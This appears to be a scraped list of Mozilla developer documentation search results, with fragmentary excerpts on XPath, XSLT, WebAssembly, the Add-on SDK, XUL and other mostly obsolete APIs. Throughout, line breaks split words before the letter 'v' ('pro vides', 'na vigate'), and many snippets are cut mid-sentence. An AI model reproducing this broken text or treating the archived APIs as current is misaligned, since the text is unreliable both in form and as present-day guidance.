... example: defining a getxpathforelement() utility function function getxpathforelement(el, xml) { var xpath = ''; var pos, tempitem2; while(el !== xml.documentelement) { pos = 0; tempitem2 = el; while(tempitem2) { if (tempitem2.nodetype === 1 && tempitem2.nodename === el.nodename) { // if it is element_node of the same name pos += 1; } tempitem2 = tempitem2.pre
vioussibling; } xpath = "*[name()='"+el.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum discu...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes an over
view the separation of content and presentation is a key design feature of xml.
... the structure of an xml document is designed to reflect and clarify important relationships among the indi
vidual aspects of the content itself, unhindered by a need to pro
vide any indication about how this data should eventually be presented.
...because a browser pro
vides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of xml content.
Introduction - XSLT: Extensible Stylesheet Language Transformations
introduction with modern browsers supporting xslt, developers can now use javascript to access the power that xslt pro
vides.
... javascript can enable a web application to load xml data, process it
via xslt into a presentable form and then add it into an existing document.
...for example, it permits the rearranging and sorting of elements; it also pro
vides more fine-grained control of the resulting document's structure.
Web technology for developers
web developer guide the web developer guide pro
vides useful how-to content to help you actually use web technologies to do what you want or need to do.
...
view all...
... web technology references web apis reference material for each of the indi
vidual apis that comprise the web's powerful scriptability, including the dom and all of the related apis and interfaces you can use to build web content and apps.
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and pro
vides languages such as c/c++ with a compilation target so that they can run on the web.
... 2 caching compiled webassembly modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for impro
ving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
...this article pro
vides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
Loading and running WebAssembly code - WebAssembly
this article pro
vides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
...the object looks like this: { module : module // the newly compiled webassembly.module object, instance : instance // a new webassembly.instance of the module object } note: usually we only care about the instance, but it’s useful to have the module in case we want to cache it, share it with another worker or window
via postmessage(), or simply create more instances.
... running your webassembly code once you've got your webassembly instance available in your javascript, you can then start using features of it that have been exported
via the webassembly.instance.exports property.
Compiling an Existing C Module to WebAssembly - WebAssembly
emscripten pro
vides most of these features, although there are some limitations.
...emscripten pro
vides emconfigure and emmake to wrap these commands and inject the appropriate parameters.
... int get_result_size() { return result[1]; } now with all of that in place, you can call the encoding function, grab the pointer and image size, put it in a javascript buffer of your own, and release all the wasm buffers allocated in the process: api.encode(p, image.width, image.height, 100); const resultpointer = api.get_result_pointer(); const resultsize = api.get_result_size(); const result
view = new uint8array(module.heap8.buffer, resultpointer, resultsize); const result = new uint8array(result
view); api.free_result(resultpointer); note: new uint8array(somebuffer) will create a new
view onto the same memory chunk, while new uint8array(sometypedarray) will copy the data.
Window: userproximity event - Archive of obsolete content
the userproximity event is fired when fresh data is available from a proximity sensor (indicates whether the nearby object is near the de
vice or not).
... bubbles no cancelable no interface userproximityevent target default
view (window) default action none event handler property window.onuserroximity specification proximity sensor note: this event has been disabled by default in firefox 62, behind the de
vice.sensors.proximity.enabled preference (bug 1462308).
Cross-domain Content Scripts - Archive of obsolete content
by default, content scripts don't have any cross-domain pri
vileges.
...ou can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains ser
ving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
Testing the Add-on SDK - Archive of obsolete content
with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp commands pro
vided by the gulpscript.js file in the addon-sdk repo.
... with tra
vis if you merely make a pull request for the mozilla/addon-sdk then all of the jpm tests mentioned above will be run on tra
vis-ci automatically and you will see the pass/fail results with a link to the log in the github pull request.
clipboard - Archive of obsolete content
the following types are supported: text (plain text) html (a string of html) image (a base-64 encoded png) if no data type is pro
vided, then the module will detect it for you.
.../clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3q993aq3cbsukpygfsnty" + "n5ugbqpk0baadgp0brdwxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjggg%3d%3d", "text"); globals functions set(data, datatype) replace the contents of the user's clipboard with the pro
vided data.
notifications - Archive of obsolete content
so you can rewrite the above code like this: var notifications = require("sdk/notifications"); var myiconurl = "./myicon.png"; notifications.notify({ text: "i have an icon!", iconurl: myiconurl }); this module depends on the underlying system's notification ser
vice.
... if the user's system does not support desktop notifications or if its notifications ser
vice is not running: if firefox was started normally, notifications are logged to firefox's error console if the user launched firefox from the command line, notifications are logged to the terminal.
simple-storage - Archive of obsolete content
for example, this add-on tries to store the urls of pages the user
visits: var ss = require("sdk/simple-storage"); ss.storage.pages = []; require("sdk/tabs").on("ready", function(tab) { ss.storage.pages.push(tab.url); }); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the a...
... therefore, when you're notified that you're over quota, you should respond by remo
ving data from the storage space until your quotausage is less than or equal to 1.
chrome - Archive of obsolete content
if you use this api you can expect your add-on to get an extra security re
view by addons.mozilla.org.
... the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of pri
vileged low-level firefox apis.
event/core - Archive of obsolete content
to avoid hassles of remo
ving such listeners there is a convenient once function: once(target, 'load', function() { console.log('ready'); }); emit(target, 'load') // info: 'ready' emit(target, 'load') there are also convenient ways to remove registered listeners.
... all listeners of the specific type can be easily removed (only two argument must be passed): off(target, 'message'); also, remo
ving all registered listeners is possible (only one argument must be passed): off(target); globals functions on(target, type, listener) registers an event listener that is called every time events of the specified type is emitted on the given event target.
net/xhr - Archive of obsolete content
pro
vides access to xmlhttprequest functionality.
... possible attenuations before being exposed to unpri
vileged code, this object needs to be attenuated in such a way that, at the very least, it can't access the user's filesystem.
system/child_process - Archive of obsolete content
however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the en
vironment variables from the parent process, by default.
... the sdk versions don't: so when you specify a command you must pass in a complete path to the command or use the env option to set up the child process en
vironment.
Release notes - Archive of obsolete content
"./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to indi
vidual tabs.
... firefox 33 highlights added support for context menus in panels
via a new option in the panel constructor.
cfx - Archive of obsolete content
use this flag to reverse that beha
vior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox.
... use this flag to reverse that beha
vior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox.
jpmignore - Archive of obsolete content
use .jpmignore to ignore files from your xpi builds created
via jpm.
... here is an example: # ignore .ds_store files created by mac .ds_store # ignore any zip or xpi files *.zip *.xpi # ignore specific directory # you can start patterns with a forward slash (/) to avoid recursi
vity.
Add a Context Menu Item - Archive of obsolete content
the context-menu module pro
vides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected.
... onmessage the onmessage property pro
vides a way for the add-on code to respond to messages from the script attached to the context menu item.
Adding a Button to the Toolbar - Archive of obsolete content
create a new directory, na
vigate to it, and execute jpm init, accepting all the defaults.
...ta and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png then open the file called "index.js" in the root of your addon directory and add the following code to it: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "
visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } now run the add-on with jpm run.
Displaying annotations - Archive of obsolete content
this function: initializes the content script instance with the current set of annotations pro
vides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later.
...you should see a yellow border around the item you annotated: when you move your mouse over the item, the annotation should appear: ob
viously this add-on isn't complete yet.
Annotator - Archive of obsolete content
next we'll give a quick over
view of the annotator's design, then go through the implementation, step by step.
... design over
view implementing the widget creating annotations storing annotations displaying annotations ...
Creating Reusable Modules - Archive of obsolete content
this makes the design of the add-on easier to understand and pro
vides some encapsulation as each module will export only what it chooses to, so you can change the internals of the module without breaking its users.
... } return path; } hash function firefox has built-in support for hash functions, exposed
via the nsicryptohash xpcom interface the documentation page for that interface includes an example of calculating an md5 hash of a file's contents, given its path.
Logging - Archive of obsolete content
because dom objects aren't available to the main add-on code, the sdk pro
vides its own global console object with most of the same methods as the dom console, including methods to log error, warning, or informational messages.
... the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and na
vigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world!
Using XPCOM without chrome - Archive of obsolete content
examples bookmarks observer normally, a bookmark observer would require chrome components and xpcomutils as described in the following links: (obser
ving changes to bookmarks and tags) , (creating event targets).
...we can then create an object from it and add it as an observer to the bookmarks ser
vice.
Alerts and Notifications - Archive of obsolete content
it uses nsialertsser
vice.
... this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-ser
vice;1'] .getser
vice(components.interfaces.nsialertsser
vice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsser
vice } } if you need to display a comparable alert on a platform that doesn't support nsialertsser
vice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getser
vice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'chrome://global/content/alerts/alert.xul', ...
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = ser
vices.cookies.getcookiesfromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using ser
vices.cookies.enumerator rather than getcookiesfromhost().
... ser
vices.cookies.add(".host.example.com", "/cookie-path", "cookie_name", "cookie_value", is_secure, is_http_only, is_session, expiry_date); see also document.cookie nsicookie nsicookie2 nsicookieser
vice nsicookiemanager nsicookiemanager2 http cookies ...
Drag & Drop - Archive of obsolete content
next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragser
vice = components.classes["@mozilla.org/widget/dragser
vice;1"].getser
vice(components.interfaces.nsidragser
vice); var dragsession = dragser
vice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } ...
...function _dragdrop(aevent) { var dragser
vice = components.classes["@mozilla.org/widget/dragser
vice;1"].getser
vice(components.interfaces.nsidragser
vice); var dragsession = dragser
vice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-ser
vice;1'].getser
vice(components.interfaces.nsiioser
vice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numd...
HTML in XUL for rich tooltips - Archive of obsolete content
div element that is inside the custom xul tooltip var div = document.getelementbyid("myhtmltipdiv"); //clear the html div element of any prior shown custom html while(div.firstchild) div.removechild(div.firstchild); //safely convert html string to a simple dom object, stripping it of javascript and more complex tags var injecthtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getser
vice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(txt, false, null, div); //attach the dom object to the html div element div.appendchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to be used inside the xul.
... our enhanced xul tooltip is an element that is written ahead of time, and it contains an html div element whose type attribute lowers its pri
vileges to being that content element, although it is an element of chrome.
Progress Listeners - Archive of obsolete content
the tabbrowser only notifies you of the events for which you pro
vide a callback.
...using the following code, you will get notified when user na
vigates to another page (by clicking a link, using the back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs.
Extension Theming Guidelines - Archive of obsolete content
this is a set of guidelines on how to control the look and feel of your extension while lea
ving it open for styling by custom themes.
...custom themes may then register a replacement for your skin package allowing them to pro
vide their own styles for all of your content.
Hiding browser chrome - Archive of obsolete content
this can be accomplished by augmenting the beha
vior of the xulbrowserwindow object's hidechromeforlocation() method.
...var prevfunc = xulbrowserwindow.hidechromeforlocation; xulbrowserwindow.hidechromeforlocation = function(alocation) { return (/* your test goes here */) || prevfunc.apply(xulbrowserwindow, [alocation]); } this works by sa
ving a reference to the current implementation of the hidechromeforlocation() method, then replacing it with a new method that calls through to the pre
vious implementation.
XML data - Archive of obsolete content
pre
vious section: svg next section: xbl binding information: xml data xml (extensible markup language) is a general-purpose language for any kind of structured data.
... the heading, "oceans", has a negative top margin, mo
ving it up so it is displayed on top of the border.
XUL user interfaces - Archive of obsolete content
mozilla overcomes this limitation by pro
viding a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool").
...for example, xul pro
vides specialized windows like dialogs and wizards, as well as status bars, menus, tool bars, and even browsers.
chargingchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the na
vigator.getbattery method.
... example na
vigator.getbattery().then(function(battery) { console.log("battery charging?
chargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the na
vigator.getbattery method.
... example na
vigator.getbattery().then(function(battery) { console.log("battery charging time: " + battery.chargingtime + " seconds"); battery.addeventlistener('chargingtimechange', function() { console.log("battery charging time: " + battery.chargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
dischargingtimechange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the na
vigator.getbattery method.
... example na
vigator.getbattery().then(function(battery) { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); battery.addeventlistener('dischargingtimechange', function() { console.log("battery discharging time: " + battery.dischargingtime + " seconds"); }); }); related events chargingchange dischargingtimechange levelchange ...
levelchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the na
vigator.getbattery method.
... example na
vigator.getbattery().then(function(battery) { console.log("battery level: " + battery.level * 100 + " %"); battery.addeventlistener('levelchange', function() { console.log("battery level: " + battery.level * 100 + " %"); }); }); related events chargingchange chargingtimechange dischargingtimechange ...
Bonsai - Archive of obsolete content
checkins to any branch of xfe by ramiro between 26-feb-1998 and 12-may-1998 differences between re
visions 3.1 and 3.3 of the file mozilla/cmd/xfe/forms.c that's a small sample, but it should be enough to get you started.
... original document information author(s): jamie zawinski last updated date: september 8, 2004 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Bookmark Keywords - Archive of obsolete content
instead of just throwing them away, we're pro
viding them for you in the following table.
... acknowledgements thanks to asa dotzler and his article how cool are custom keywords?, which pro
vided the inspiration to write this article.
Building TransforMiiX standalone - Archive of obsolete content
run it
via run-mozilla.sh transformiix on unices and just transformiix.exe on windows.
... original document information author: axel hecht last updated date: april 5, 2004 copyright information: portions of this content are © 1998–2006 by indi
vidual mozilla.org contributors; content available under a creative commons license ...
Creating a hybrid CD - Archive of obsolete content
x ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw 'mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime mo
vie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export file" .mcp raw 'cwie' 'mmpr' "codewarrior project file" .r asc...
... original document information author(s): dawn endico last updated date: may 1, 2001 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Creating a Skin for Mozilla - Archive of obsolete content
organizing images adding an image to the right of a toolbar jar file installer utility (pro
vided by neil marshall) frequently asked questions links original document information author: neil marshall other contributors (suggestions/corrections): brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, da
vid james, dan mauch last updated date: jan 5th, 2003 copyright information: copyright 2002-2003 neil marshall, permission given to devmo ...
...to migrate into the wiki april 2005
via email.
Drag and Drop Example - Archive of obsolete content
« pre
vious gecko 1.9.1 (firefox 3.5) and later supports a newer and simpler api.
...ondragover: function (event, flavour, session) {}, ondrop: function (event, dropdata, session) { if (dropdata.data != "") { var elem = document.createelement(dropdata.data); event.target.appendchild(elem); elem.setattribute("left", "" + event.pagex); elem.setattribute("top", "" + event.pagey); elem.setattribute("label", dropdata.data); } } }; « pre
vious original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragex.php copyright information: copyright (c) neil deakin ...
JSS build instructions for OSX 10.6 - Archive of obsolete content
the following build instructions were pro
vided by pavrw.
...mozilla.org/projects/secu...using_jss.html steps: export all this: build_opt="1" cvsroot=":pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot" java_home=$(/usr/libexec/java_home") no_mdupdate="1" nsdistmode="copy" ns_use_gcc="1" create working dir: mkdir nss-jss cd nss-jss obtain source: altought manual said nspr_4_6_4_rtm, nss_3_11_4_rtm, jss_4_2_5_rtm, they didnt work for osx, gi
ving many compiling errors.
Syncing custom preferences - Archive of obsolete content
the whitelist is determined as follows: for each ser
vices.sync.prefs.sync.<pref> preference that is set to true, firefox sync will sync the <pref> preference.
... for example, if your add-on had a pref called extension.frobnaz.foobar, to have it synced, create a bool preference called ser
vices.sync.prefs.sync.extension.frobnaz.foobar and set it to true.
GRE Registration - Archive of obsolete content
each subkey is searched for gre registration information: hklm/software/mozilla.org/gre/1.8_1 version=1.8 grehome=c:\path\to\installed-dir feature=value feature2=value2 hklm/software/mozilla.org/gre/1.8_2 version=1.8 grehome=c:\path\to\second-installation when installing a gre
via the mozilla suite gre installer, the installer will blindly overwrite any pre
vious gre information in hklm/software/mozilla.org/gre/<version>.
... when installing a gre
via the command line <tt>xulrunner.exe -register-global</tt>, xulrunner will detect that there is already an installation at hklm/software/mozilla.org/gre/<version> and will try alternate keys <version>_1 _2 until an available key is found.
First run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
...
visit my <a href="http://example.com/myjetpack">homepage</a>.
First Run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
...
visit my <a href=//example.com/myjetpack">homepage</a>.
Clipboard Test - Archive of obsolete content
jetpack's clipboard support api pro
vides a standardized way for features to access the clipboard.
... the namespace associated with this api is jetpack.clipboard which pro
vides both read and write access to the clipboard.
System - Archive of obsolete content
clipboard interactions with the os clipboard system information get information about the platform on which jetpack is running
visual effects os-level
visual effects abilities de
vices methods for accessing and controlling de
vices (ex.
... ipod, zune, cell phones, usb de
vices) ...
Makefile.mozextension.2 - Archive of obsolete content
which is why the code shown below is corrupt - so you may wanna click on edit and
view source instead !!
...either remove (clean it), or choose indi
vidual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(zipprog) -r chrome/$(project).jar content locale skin && \ $(zipprog) -r $(pro...
Message Summary Database - Archive of obsolete content
mdb is a schema-less db interface, so it's tri
vial to add new attributes without regenerating the db, and it's tri
vial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about.
...this allows us to store watch/ignore information on a thread object, and avoids ha
ving to generate threading information whenever a folder is open.
Configuration - Archive of obsolete content
status turns the status messages on or off for this web app: yes or no location turns the readonly location bar on or off for this web app: yes or no na
vigation turns the hotkey history na
vigation (alt+left, alt+right and alt+home) on or off for this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading.
...example here is an example of a webapp.ini profile: [parameters] name=gmail id=google.mail@developer.mozilla.org uri=https://mail.google.com icon=gmail status=yes location=no sidebar=no na
vigation=no ...
Priority Content - Archive of obsolete content
migrators: joel coreson note: the article links some external example files, not sure how to migrate them (perhaps
via "upload file" function that's normally used for images?) also check if any extra files live in the article's directory --jens.b 14:07, 26 apr 2005 (pdt) dependant on: mostly completed*: class xbdesignmode / devedge - joel coreson please put completed articles on the devedge page instead.
... almost completed: eric meyer's articles on
viewsource see here for full list and details.
File object - Archive of obsolete content
creating a pipeline involves spawning arbitrary processes; this means that gi
ving a script access to the file object is exactly equivalent to gi
ving the script access to the unix shell or dos command interpreter.
... file.remove() removes the file, pro
vided it is not open.
Standalone XPCOM - Archive of obsolete content
nsnativecomponentloader: autoregistering succeeded inital print: initial value set value to: xpcom defies gra
vity final print : xpcom defies gra
vity test passed.
... api freeze and documentation original document information author: suresh duddi last updated date: 15 may 2000 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Static Analysis for Windows Code under Linux - Archive of obsolete content
mozilla-central/ and compose a .mozconfig file for cross-compiling mozilla with static analysis hooked: #specify the cross compile cross_compile=1 ac_add_options --enable-application=browser ac_add_options --host=i686-linux ac_add_options --target=i686-mingw32 ac_add_options --enable-default-toolkit=cairo-windows mk_add_options moz_objdir=@topsrcdir@/../mozilla-mingw # mozilla trunk uses many
vista only features on windows, so we should disable some components to make it buildable with mingw32.
... ac_add_options --enable-debug ac_add_options --disable-optimize ac_add_options --disable-tests ac_add_options --disable-embedding-tests ac_add_options --disable-installer ac_add_options --disable-accessibility ac_add_options --disable-
vista-sdk-requirements ac_add_options --disable-updater #change this to where your libidl-config file locate.
Table Layout Strategy - Archive of obsolete content
the words the table layout is width oriented and knows the following widths: minimum content width - min the minimum width that is required to layout the content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px, mm etc., proportional width - prop the cell width specified
via 1*, 2* etc.
... original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Tuning Pageload - Archive of obsolete content
the idea here is twofold.this reduces ugly
visual jitter as the new page comes in by not starting painting till after we have a bunch of the data.this makes overall page load time shorter by not doing extra repaints very early on.
...as in, if the user is mo
ving the mouse or typing in that window, we'll be more responsive; if there is no user acti
vity, we will aim for less parser interruption and less responsiveness but lower overall load time.
[Deprecated] The Mozilla build VM - Archive of obsolete content
thanks to significant improvements in our build en
vironment setup process, it's much simpler and easier to get set up and stay up to date by starting with building firefox instead.
...whenever you need help, contact the mentor
via matrix, in the bug itself, or by email.
When To Use ifdefs - Archive of obsolete content
the makefile ifdefs that choose which one to build are not ob
vious (see makefile.in and xpfe/components/makefile.in).
... if you are introducing a makefile ifdef of any sort, please ask re
view from one of the build-config peers: benjamin smedberg is generally happy to re
view these changes.
compareTo - Archive of obsolete content
rev re
vision number.
... installversion.minor_diff installversion.rel_diff installversion.bld_diff installversion.equal installversion.major_diff_minus installversion.minor_diff_minus installversion.rel_diff_minus installversion.bld_diff_minus example this code uses the compareto method to determine whether or not version 3.2.1 of the royal airways software has been pre
viously installed: existing
vi = installtrigger.getversion("/royalairways/royalsw"); if ( existing
vi.compareto("3.2.1") <= 0 ) { // ...
init - Archive of obsolete content
rev re
vision number.
... when maj, min, rev, and bld are pro
vided as parameters, all four parameters are required, but all of them can be zero.
toString - Archive of obsolete content
returns the major, minor, re
vision, and build numbers represented as a single string.
...to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.rev.bld." example var
vi = new installversion();
vi.init("999.888.777.666"); //random string
vistring =
vi.tostring(); ...
confirm - Archive of obsolete content
pre
vious gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form.
...also: user closed the dialog window 1 'ok' or button 0 2 the third button pre
vious versions of the xpinstall api stated the return value of confirm() to be a boolean.
SVG And Canvas In Mozilla - Archive of obsolete content
presentation
view online download summary today's web browsers offer somewhat limited graphics capabilities to web developers.
...this work pro
vides additional benefits to web developers such as the ability to apply svg effects to html content.
XTech 2005 Presentations - Archive of obsolete content
this work pro
vides additional benefits to web developers such as the ability to apply svg effects to html content.
... extending gecko with xbl and xtf - brian ryner this session explored ways to extend mozilla/firefox to handle new xml tags and namespaces
via drop-in extensions to the layout engine.
XTech 2006 Presentations - Archive of obsolete content
layout algorithm improvements for web user interfaces (slides, slides as one page) - da
vid baron a discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout.
... svg and canvas: graphics for web apps - vladimir vukiće
vić this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications.
allowevents - Archive of obsolete content
by setting the allowevents attribute to true, this special beha
vior is disabled, and the events are targeted the same as other elements.
... this beha
vior is used for menus, for instance, to allow a menu button to behave as a menu when clicking on it, yet have part of the menu behave as a button.
browser.type - Archive of obsolete content
this is the preferred value for any browser element in an application, which will use multiple browsers of equal pri
vileges, and is unselected at the moment.
... chrome (default beha
viour): a browser, intended to be used for loading pri
vileged content using a chrome:// uri.
disabled - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... // disabling an element document.getelementbyid('buttonremove').setattribute("disabled", "disabled"); // enabling back an element by remo
ving the "disabled" attribute document.getelementbyid('buttonremove').removeattribute("disabled"); firefox 3.5 note for keyset elements, support for this attribute was added in firefox 3.5.
flex - Archive of obsolete content
once the default sizes of elements in a box are calculated, the remaining space in the box is di
vided among the flexible elements, according to their flex ratios.
... specifying a flex value of 0 has the same effect as lea
ving the flex attribute out entirely.
reserved - Archive of obsolete content
example here, the command to open a new browser window is reserved: <command id="cmd_newna
vigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.
...log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default beha
vior persists.
setfocus - Archive of obsolete content
« xul reference home setfocus type: boolean if true or omitted, the focus will be given to the first element in the corresponding tabpanel when the tabs are na
vigated
via the keyboard.
... if this attribute is false, the focus does not change during na
vigation.
textbox.onblur - Archive of obsolete content
note: the beha
vior of this event has evolved over time.
...as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the beha
vior of all other event handlers.
textbox.onfocus - Archive of obsolete content
note: the beha
vior of this event has evolved over time.
...as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the beha
vior of all other event handlers.
treecell.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the contents of indi
vidual cells in the column to be changed, especially useful when <treecol type="checkbox">.
... also useful for disabling editing of indi
vidual treecells.
value - Archive of obsolete content
be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
Attribute (XUL) - Archive of obsolete content
sed color cols command commandupdater completedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeyna
vigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseco...
